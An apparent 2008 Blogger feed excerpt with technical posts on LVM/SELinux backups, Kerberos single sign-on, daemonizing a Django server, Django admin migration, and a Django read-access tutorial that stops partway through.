&lt;p&gt;Happy transformations! :-) &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-3356405590233194347?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/3356405590233194347/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2008/12/xsl-transformations-in-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/3356405590233194347'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/3356405590233194347'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2008/12/xsl-transformations-in-python.html' title='XSL transformations in Python'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-4473274905803356593</id><published>2008-09-01T17:29:00.004-07:00</published><updated>2008-10-06T20:19:53.644-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='selinux'/><category scheme='http://www.blogger.com/atom/ns#' term='availability'/><title type='text'>Backup LVM file system with SELinux context</title><content type='html'>&lt;p&gt;Backup is one of the most crucial operations for providing availability of the computer system. Although writing backup scripts is an easy task, there are few points with LVM and SELinux which are described below.&lt;/p&gt;
&lt;p&gt;LVM is a logical volume manager for the Linux kernel. One of the key features of LVM is generating snapshots for logical volumes. This allows the administrator to create a new block device which presents an exact copy of a logical volume, frozen at some point in time. It is very useful for backups - we can make backups without stopping volumes. Snapshots can be created with 'lvcreate' command with '-s' option.&lt;/p&gt;
&lt;p&gt;SELinux is an implementation of a flexible mandatory access control architecture in the Linux operating system. It uses file labelling with special security context. During a usual file archiving this context could be lost, so the administrator should use special archivers like 'star'.&lt;/p&gt;
&lt;p&gt;So, the administrator should use following procedure for archiving LVM volumes with SELinux enabled:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create a snapshot of required volume.&lt;/li&gt;
&lt;li&gt;Mount this snapshot.&lt;/li&gt;
&lt;li&gt;Make star-archive of the snapshot to required location.&lt;/li&gt;
&lt;li&gt;Unmount the snapshot.&lt;/li&gt;
&lt;li&gt;Delete the snapshot.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A sample script is below:&lt;/p&gt;
&lt;pre&gt;
#!/bin/sh

/sbin/lvcreate -L5G -s -n homesnapshot /dev/VolGroup00/home
mount /dev/VolGroup00/homesnapshot /mnt/homesnapshot
star -xattr -H=exustar -v -c -f /media/work/backups/home.star /mnt/homesnapshot/
umount /mnt/homesnapshot
/sbin/lvremove -f /dev/VolGroup00/homesnapshot
&lt;/pre&gt;
&lt;p&gt;Have fun with backups!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-4473274905803356593?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/4473274905803356593/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2008/09/backup-lvm-file-system-with-selinux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4473274905803356593'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4473274905803356593'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2008/09/backup-lvm-file-system-with-selinux.html' title='Backup LVM file system with SELinux context'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-8243269112642167459</id><published>2008-08-21T21:49:00.005-07:00</published><updated>2008-08-22T20:28:03.952-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kerberos'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Organizing Kerberos-based infrastructure</title><content type='html'>&lt;p&gt;SSO (&lt;a href="http://en.wikipedia.org/wiki/Single_sign-on"&gt;Single Sign-On&lt;/a&gt;) is a good method for organizing enterprise-level IT infrastructure. It can reduce TCO (&lt;a href="http://en.wikipedia.org/wiki/Total_cost_of_ownership"&gt;Total cost of ownership&lt;/a&gt;) of user management, allowing to create/modify/delete user accounts in one place without changing configurations of servers and client workstations. Let's consider &lt;a href="http://en.wikipedia.org/wiki/Kerberos_(protocol)"&gt;Kerberos&lt;/a&gt; as a basis for SSO in an enterprise infrastructure in details:
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Log in to a workstation.&lt;/p&gt;
&lt;p&gt;
Most UNIX-based OS provide authorization mechanism for logging into a workstation using Kerberos PAM modules. Windows OS-based workstations can login only to domain controller, and doesn't support standard Kerberos servers by default due to Kerberos extensions by Microsoft. But there is a bypass way - use Samba PDC with Kerberos and OpenLDAP integration (&lt;a href="http://debian.telenet.ru/adjustmentsoft/samba_pdc"&gt;Article in Russian&lt;/a&gt;, I'll translate and publish it in the blog after setting up such infrastructure on my servers).
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Servers.&lt;/p&gt;
&lt;p&gt;Firewall: NuFW (see corresponding &lt;a href="http://www.nufw.org/Single-Sign-On.html"&gt;article&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Email: postfix, sendmail.&lt;/p&gt;
&lt;p&gt;IM: openfire.&lt;/p&gt;
&lt;p&gt;Web: apache.&lt;/p&gt;
&lt;p&gt;Proxy: squid.&lt;/p&gt;
&lt;p&gt;Ftp: ProFTPD or internal Kerberos FTP server.&lt;/p&gt;
&lt;p&gt;RDBMS: PostgreSQL.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Clients.&lt;/p&gt;
&lt;p&gt;Email: thunderbird, fetchmail.&lt;/p&gt;
&lt;p&gt;IM: Sparc, Pidgin.&lt;/p&gt;
&lt;p&gt;Web: Firefox, Safari, Konqueror.&lt;/p&gt;
&lt;p&gt;Ftp: Console ftp, Filezilla.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Development.&lt;/p&gt;
&lt;p&gt;
Only J2EE have Kerberos support via JAAS. Maybe other frameworks have some kind of support, but it requires checking.
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
As you can see, some servers and clients are not enumerated above (due to bad or none support of Kerberos) like Opera, MySQL, VsFTPd and others, but any enterprise should force users to use only accredited software, and list above is a good candidate for accreditation.
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-8243269112642167459?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/8243269112642167459/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2008/08/organizing-kerberos-based.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/8243269112642167459'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/8243269112642167459'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2008/08/organizing-kerberos-based.html' title='Organizing Kerberos-based infrastructure'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-3193138700871680480</id><published>2008-08-20T22:59:00.004-07:00</published><updated>2008-08-20T23:05:47.914-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='open source'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Mail Dispatcher version 0.3 is released</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_b8spDATDZH0/SK0FtXGLQbI/AAAAAAAAAAg/qBC02oSOyTA/s1600-h/engscreen.gif"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_b8spDATDZH0/SK0FtXGLQbI/AAAAAAAAAAg/qBC02oSOyTA/s200/engscreen.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5236848218553926066" /&gt;&lt;/a&gt;

&lt;p&gt;New release of Mail Dispatcher introduces major changes in internationalization and usability of the product.&lt;/p&gt;

&lt;p&gt;Parsing mail messages was added and now they are shown in required encoding. Also a user can select preferred encoding for messages preview.&lt;/p&gt;

&lt;p&gt;Selecting dates ranges was added and now a user can select required date interval for downloaded messages. Mail Dispatcher uses special algoritm for selecting messages based on binary searching.&lt;/p&gt;

&lt;p&gt;For more information, visit site: &lt;a href="http://maildispatcher.sourceforge.net/history.shtml"&gt;http://maildispatcher.sourceforge.net/history.shtml&lt;/a&gt;&lt;p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-3193138700871680480?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/3193138700871680480/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2008/08/mail-dispatcher-version-03-is-released.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/3193138700871680480'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/3193138700871680480'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2008/08/mail-dispatcher-version-03-is-released.html' title='Mail Dispatcher version 0.3 is released'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_b8spDATDZH0/SK0FtXGLQbI/AAAAAAAAAAg/qBC02oSOyTA/s72-c/engscreen.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-915003293106611439</id><published>2008-08-03T18:45:00.010-07:00</published><updated>2008-08-04T03:57:49.565-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='django'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Daemonize a script</title><content type='html'>&lt;p&gt;Sometimes it is required to start script as daemon (for example Django site in development mode), and I want to provide guidance how to do it in Fedora 9.&lt;/p&gt;
&lt;p&gt;First, it is required to write auxiliary bash-script for running necessary script (let's call it 'site.sh'):&lt;/p&gt;
&lt;pre&gt;
#!/bin/sh
cd /path/to/site/
nohup python manage.py runserver 0.0.0.0:8080 --noreload &amp;gt; site.log &amp;amp;
echo "${!}" &amp;gt; /var/run/site.pid
&lt;/pre&gt;
&lt;p&gt;In this script I changed directory to site location, and ran it via 'nohup' command. Also I took PID of created process via '${!}' to manage it later.&lt;/p&gt;
&lt;p&gt;This script should be run under root privileges and should be checked via 'ps aux | grep python' for equality of PID of running process and stored in /var/run/site.pid.&lt;/p&gt;
&lt;p&gt;If everything is fine, let's move forward and create init-script (let's call it 'site'):&lt;/p&gt;
&lt;pre id="bash_8_2"&gt;
#! /bin/sh
# Startup script for site
#
# chkconfig: 2 96 04
# description: site service

# Source function library.
. /etc/rc.d/init.d/functions

prog="site"
DAEMON=/path/to/site.sh
pidfile=/var/run/site.pid

[ -f $DAEMON ] || exit 0

start() {
   echo -n $"Starting $prog: "
   daemon $DAEMON
   RETVAL=$?
   echo
   return $RETVAL
}

stop() {
   if test "x`cat $pidfile`" != x; then
       echo -n $"Stopping $prog: "
       killproc $prog
       echo
   fi
   RETVAL=$?
   if [ $RETVAL -eq 0 ]; then
       rm -f $pidfile
   fi
   return $RETVAL
}

case "$1" in
   start)
       start
       ;;
   stop)
       stop
       ;;
   status)
       status corpsite
       ;;
   restart)
       stop
       start
       ;;
   condrestart)
       if test "x`cat $pifile`" != x; then
           stop
           start
       fi
       ;;
   *)
       echo "Usage: $0 {start|stop|restart|condrestart|status}"
       exit 1
       ;;
esac

exit $RETVAL
&lt;/pre&gt;
&lt;p&gt;This script should be stored in /etc/init.d. Now try to run it using '/sbin/service site start' and try other commands. Please notice these few issues:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;'prog' variable is used for information messages and for killing the process. Killing will be worked via PID (because we can't use script name - it will be 'python' and probably you could have other running python scripts) and PID will be gotten from /var/run/$prog.pid. So the name of pidfile and 'prog' should be the same.&lt;/li&gt;
&lt;li&gt;'DAEMON' variable is a path for script above. It should be changed to accommodate the location of the script.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, the last step is automatically loading/unloading script during startup/shutdown the OS. This is pretty easy - I have already prepared all information for 'chkconfig' in the init-script (see corresponded remarks in a header). Only enter command '/sbin/chkconfig --add site' and that's all - the script will be loaded/unloaded automatically after next startup.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://files.rsdn.ru/29838/daemon.tar.gz"&gt;DOWNLOAD&lt;/a&gt; - daemon.tar.gz (1.03KB)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-915003293106611439?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/915003293106611439/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2008/08/daemonize-script.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/915003293106611439'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/915003293106611439'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2008/08/daemonize-script.html' title='Daemonize a script'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-7361031534543732650</id><published>2008-07-21T17:05:00.006-07:00</published><updated>2008-08-04T04:06:28.921-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='django'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Django admin changes in SVN trunk</title><content type='html'>&lt;p&gt;Recently in Django SVN trunk all admin interface changed to newforms. It doesn't have backward compatibility, so I provide some hints to upgrade existing Django applications.&lt;/p&gt;
&lt;p&gt;There are at least 3 steps for upgrading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Update urls.py to follow new admin URLs.&lt;/li&gt;
&lt;li&gt;Update admin classes.&lt;/li&gt;
&lt;li&gt;Change all newforms imports.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Update urls.py to follow new admin URLs.&lt;/h3&gt;
&lt;p&gt;Initially urls.py looks like:&lt;/p&gt;
&lt;pre id="python_7_1"&gt;
urlpatterns = patterns('',
    (r'^admin/', include('django.contrib.admin.urls')),
)
&lt;/pre&gt;
&lt;p&gt;Now it should look like:&lt;/p&gt;
&lt;pre id="python_7_2"&gt;
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
   (r'^admin/doc/', include('django.contrib.admindocs.urls')),
   (r'^admin/(.*)', admin.site.root),
)
&lt;/pre&gt;
&lt;h3&gt;Update admin classes.&lt;/h3&gt;
&lt;p&gt;Initially admin classes were a part of model classes. Now they should be moved to independent classes.&lt;/p&gt;
&lt;p&gt;If a model had empty class:&lt;/p&gt;
&lt;pre id="python_7_3"&gt;
class Model1(models.Model):
   class Admin:
       pass
&lt;/pre&gt;
&lt;p&gt;Now it is enough just register a model with admin site:&lt;/p&gt;
&lt;pre id="python_7_4"&gt;
from django.contrib import admin
admin.site.register(Model1)
&lt;/pre&gt;
&lt;p&gt;For non-empty admin classes like this:&lt;/p&gt;
&lt;pre id="python_7_5"&gt;
class Model1(models.Model):
   class Admin:
       search_fields = ('title',)
&lt;/pre&gt;
&lt;p&gt;Now it is required to declare independent class:&lt;/p&gt;
&lt;pre id="python_7_6"&gt;
from django.contrib import admin
class Model1Admin(admin.ModelAdmin):
   search_fields = ('title',)
admin.site.register(Model1, Model1Admin)
&lt;/pre&gt;
&lt;p&gt;Please notice that all admin classes can be (and should be in most cases) declared in admin.py file now (in the same directory there are models.py located).&lt;/p&gt;
&lt;h3&gt;Change all newforms imports.&lt;/h3&gt;
&lt;p&gt;These changes are not required, but  without them manage.py prints DeprecatedWarning. The change is simple.&lt;/p&gt;
&lt;p&gt;The original import:&lt;/p&gt;
&lt;pre id="python_7_7"&gt;
from django import newforms as forms
&lt;/pre&gt;
&lt;p&gt;The new one:&lt;/p&gt;
&lt;pre id="python_7_8"&gt;
from django import forms
&lt;/pre&gt;
&lt;p&gt;Good luck with updating!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-7361031534543732650?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/7361031534543732650/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2008/07/django-admin-changes-in-svn-trunk.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/7361031534543732650'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/7361031534543732650'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2008/07/django-admin-changes-in-svn-trunk.html' title='Django admin changes in SVN trunk'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-7169421069214333718</id><published>2008-07-07T21:29:00.039-07:00</published><updated>2008-08-04T16:58:57.722-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='django'/><category scheme='http://www.blogger.com/atom/ns#' term='lotus notes'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Adding security features to Django projects</title><content type='html'>&lt;p&gt;Security is most valuable feature of any software, and each developer should keep in mind security issues during programming. In this article I show how to restrict user's access to view, but not modify objects in Django project. It could be an equivalent of &lt;a href="http://www.ibm.com/developerworks/lotus/library/reader-names/"&gt;'Readers'&lt;/a&gt; field in Lotus Notes/Domino application.&lt;/p&gt;
&lt;p&gt;First of all, let's set up &lt;a href="http://www.djangoproject.com/"&gt;Django&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Check out Django’s main development branch (the ‘trunk’) like so:&lt;/p&gt;
&lt;pre&gt;
svn co http://code.djangoproject.com/svn/django/trunk/ django-trunk
&lt;/pre&gt;
&lt;p&gt;Install it:&lt;/p&gt;
&lt;pre&gt;
cd django-trunk
sudo python setup.py install
&lt;/pre&gt;
&lt;p&gt;Create project, which be called 'secure_site':&lt;/p&gt;
&lt;pre&gt;
django-admin.py startproject secure_site
&lt;/pre&gt;
&lt;p&gt;Test the installation - start our project:&lt;/p&gt;
&lt;pre id="bash_6_4"&gt;
cd secure_site/
chmod +x manage.py
./manage.py runserver 9000
&lt;/pre&gt;
&lt;p&gt;Open browser by URL: http://localhost:9000/ and if 'It worked!' page is shown, then go further.&lt;/p&gt;
&lt;p&gt;Create two applications - sample (for testing) and secure (for handling security information):&lt;/p&gt;
&lt;pre&gt;
./manage.py startapp sample
./manage.py startapp secure
&lt;/pre&gt;
&lt;p&gt;Now change settings.py file to use SQLite database:&lt;/p&gt;
&lt;pre&gt;
DATABASE_ENGINE = 'sqlite3'
DATABASE_NAME = 'secure_site.db'
&lt;/pre&gt;
&lt;p&gt;Also activate admin interface via adding 'django.contrib.admin' to the end of INSTALLED_APPS in settings.py and uncomment lines in urls.py:&lt;/p&gt;
&lt;pre&gt;
from django.conf.urls.defaults import *

# Uncomment the next two lines to enable the admin:                             
from django.contrib import admin
admin.autodiscover()

urlpatterns = patterns('',
    # Example:                                                                  
    # (r'^secure_site/', include('secure_site.foo.urls')),                      

    # Uncomment the next line to enable admin documentation:                    
    (r'^admin/doc/', include('django.contrib.admindocs.urls')),

    # Uncomment the next line for to enable the admin:                          
    (r'^admin/(.*)', admin.site.root),
)
&lt;/pre&gt;
&lt;p&gt;Now it is time to create database and superuser account:&lt;/p&gt;
&lt;pre&gt;
./manage.py syncdb
&lt;/pre&gt;
&lt;p&gt;Open browser by URL: http://localhost:9000/admin/ and if 'Login' page is shown, try to login with login/password created during syncdb and if everything is fine then go further.&lt;/p&gt;
&lt;p&gt;Now it is time to create sample models. Open sample/models.py with your favourite editor and add two models:&lt;/p&gt;
&lt;pre&gt;
""" Sample models. """
from django.db import models

class Model1(models.Model):
    """ Sample model 1. """
    name = models.CharField(max_length = '100')

    def __unicode__(self):
        """ String representation of this model. """
        return self.name

class Model2(models.Model):
    """ Sample model 2. """
    name = models.CharField(max_length = '100')

    def __unicode__(self):
        """ String representation of this model. """
        return self.name
&lt;/pre&gt;
&lt;p&gt;Also it is required to register these model with admin site. Just create sample/admin.py file and add these lines:&lt;/p&gt;
&lt;pre&gt;
from django.contrib import admin
from secure_site.sample.models import Model1, Model2

admin.site.register(Model1)
admin.site.register(Model2)
&lt;/pre&gt;
&lt;p&gt;After that register models in settings.py (add 'secure_site.sample' to INSTALLED_APPS) and synchronize database.&lt;/p&gt;
&lt;p&gt;Run server and open browser by URL: http://localhost:9000/admin/ and if you see links to models 1 and 2 after logging in then go further. Now we have to create model for securing our application. This model will contains application and model names and users' names who do not have access to modify objects. Open secure/models.py and edit it with favourite editor:&lt;/p&gt;
&lt;pre&gt;
""" Models for securing Django project. """
from django.db import models
from django.conf import settings
from django.contrib.auth.models import User
import re

def get_apps_list():
    """ Get list of available applications. """
    app_regex = re.compile('secure_site\.(\w+)')
    apps = [re.search(app_regex, app).group(1)
            for app in settings.INSTALLED_APPS
            if app.startswith('secure_site.')]
    result = []
    for app in apps:
        try:
            __import__('%s.models' % app, fromlist = [app])
            result.append((app, app))
        except ImportError:
            pass
    return result

class SecuredModule(models.Model):
    """ Model for module. """
    app = models.CharField(max_length = '100', choices = get_apps_list())
    model = models.CharField(max_length = '100', choices = [('', '')])
    readers = models.ManyToManyField(User, blank = True)

    def __unicode__(self):
        return '%s.%s' % (self.app.lower(), self.model.lower())
&lt;/pre&gt;
&lt;p&gt;Register model with admin site (secure/admin.py):&lt;/p&gt;
&lt;pre&gt;
from django.contrib import admin
from secure_site.secure.models import SecuredModule

admin.site.register(SecuredModule)
&lt;/pre&gt;
&lt;p&gt;After that register models in settings.py (add 'secure_site.secure' to INSTALLED_APPS) and synchronize database.&lt;/p&gt;
&lt;p&gt;Now you can see new application on the admin page - Secure. If you will try to add new module you will see all available application (in our case - secure and sample) and all registered users. But there is an issue here - the list of choices for models is empty. Now we will fix it using AJAX with &lt;a href="http://jquery.com/"&gt;jQuery&lt;/a&gt;. First of all, you have to download jQuery from official site and put it to you application. For this we will create media dir and register it in the project:&lt;/p&gt;
&lt;pre&gt;
mkdir -p media.site/js
cd media.site/js
wget http://jqueryjs.googlecode.com/files/jquery-1.2.6.min.js
ln -s jquery-1.2.6.min.js jquery.js
cd -
&lt;/pre&gt;
&lt;p&gt;Now it is required to set up MEDIA_ROOT (settings.py)&lt;/p&gt;
&lt;pre&gt;
import os
CURRENT_PATH = os.path.dirname(__file__)
MEDIA_ROOT = os.path.join(CURRENT_PATH,  'media.site')
&lt;/pre&gt;
&lt;p&gt;And fix urls.py to view media files (add this line to urlpatterns):&lt;/p&gt;
&lt;pre&gt;
    (r'^media.site/(?P&lt;path&gt;.*)$', 'django.views.static.serve',
        {'document_root': settings.MEDIA_ROOT}),
&lt;/pre&gt;
&lt;p&gt;Now it is time to modify admin's change_form template for SecuredModule model and include jQuery script. For this we create templates dir, register it and modify required template.&lt;/p&gt;
&lt;pre&gt;
mkdir templates
&lt;/pre&gt;
&lt;p&gt;Modify settins.py (CURRENT_PATH was declared earlier during setting up MEDIA_ROOT):&lt;/p&gt;
&lt;pre&gt;
TEMPLATE_DIRS = (
    os.path.join(CURRENT_PATH, 'templates'),
)
&lt;/pre&gt;
&lt;p&gt;Prepare template for change_form:&lt;/p&gt;
&lt;pre&gt;
mkdir -p templates/admin/secure/securedmodule
touch templates/admin/secure/securedmodule/change_form.html
&lt;/pre&gt;
&lt;p&gt;Now let's modify change_form.html:&lt;/p&gt;
&lt;pre&gt;
{% extends "admin/change_form.html" %}
{% block extrahead %}
{{ block.super }}
&amp;lt;script type="text/javascript" src="/media.site/jquery.js"&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script type="text/javascript"&amp;gt;
  $(document).ready(function() {
      var app = $('select#id_app');
          var reload_func = function() {
                  $.getJSON('/get_models/', {app : app.val()}, function(j) {
                  var options = '';
                  var model = '';
                      $.each(j, function(i, item) {
                           if (item.model) {
                               model = item.model;
                           }
                           if (item.value) {
                               options += '';
                           }
                      });
                      $('select#id_model').html(options);
                  });
          };
          reload_func();
          app.change(reload_func);
      });
&amp;lt;/script&amp;gt;
{% endblock %}
&lt;/pre&gt;
&lt;p&gt;In code above we call '/get_models/' request handler via AJAX-request and modify id_model options. Let's add get_models view (change secure/views.py):&lt;/p&gt;
&lt;pre&gt;
""" Views for working with secure application. """

import re
from secure_site.secure.models import SecuredModule
from django.http import HttpResponse, Http404
from django.utils import simplejson
import logging
from django.db import models

class JsonResponse(HttpResponse):
    """ Class representing JSON response. """
    def __init__(self, data):
        HttpResponse.__init__(self, content = simplejson.dumps(data),
                              mimetype = 'application/json')

MODULE_ID_REGEX = re.compile('/admin/secure/securedmodule/(\d+)/?$')

def get_app_module(app):
    """ Get application module.
    'app' - application name."""
    try:
        return __import__('%s.models' % app, fromlist = [app])
    except ImportError, error:
        logging.debug(error)
        raise Http404

def get_module_classes(app):
    """ Get module classes.
    'app' - application name."""
    module_values = get_app_module(app).__dict__.values()
    return [val for val in module_values
 if isinstance(val, type) and issubclass(val, models.Model)]

def get_models(request):
    """ Get all available models.
    'request' - request instance."""
    app = request.GET.get('app', '')
    reply = []
    matches = MODULE_ID_REGEX.search(request.META['HTTP_REFERER'])
    if matches: # module is existed
        id = matches.group(1)
        module = SecuredModule.objects.get(id = id)
        reply.append({'model' : module.model})
    if app:
        classes = get_module_classes(app)
        reply.extend([{ 'value': class_obj.__name__}
                      for class_obj in classes]);
        SecuredModule._meta.get_field('model')._choices.extend(
            [(class_obj.__name__, class_obj.__name__)
             for class_obj in classes])
    return JsonResponse(reply)
&lt;/pre&gt;
&lt;p&gt;We defined JsonResponse class for working with AJAX and added get_models view. Register it in urls.py:&lt;/p&gt;
&lt;pre&gt;
from django.conf.urls.defaults import *
from django.contrib import admin
from django.conf import settings
from secure_site.secure.views import get_models

admin.autodiscover()
urlpatterns = patterns('',
    (r'^get_models/?$', get_models),
    (r'^media.site/(?P&lt;path&gt;.*)$', 'django.views.static.serve',
        {'document_root': settings.MEDIA_ROOT}),
    (r'^admin/doc/', include('django.contrib.admindocs.urls')),
    (r'^admin/(.*)', admin.site.root),
)
&lt;/pre&gt;
&lt;p&gt;Now everything is ready to dynamically refresh model's field in form. After starting project with runserver do this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt; - add new user 'test' with Staff and Superuser status;&lt;/li&gt;
&lt;li&gt; - add new module for model1 and test user as reader;&lt;/li&gt;
&lt;li&gt; - add few model1 objects.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And the last part - checking user's access. The one of ways is using middleware. It is not best way (we can't restrict to change model via Django API), but acceptable enough for the demo. Let's create middleware class:&lt;/p&gt;
&lt;pre&gt;
mkdir middleware
touch middleware/secure.py
touch middleware/__init__.py
&lt;/pre&gt;
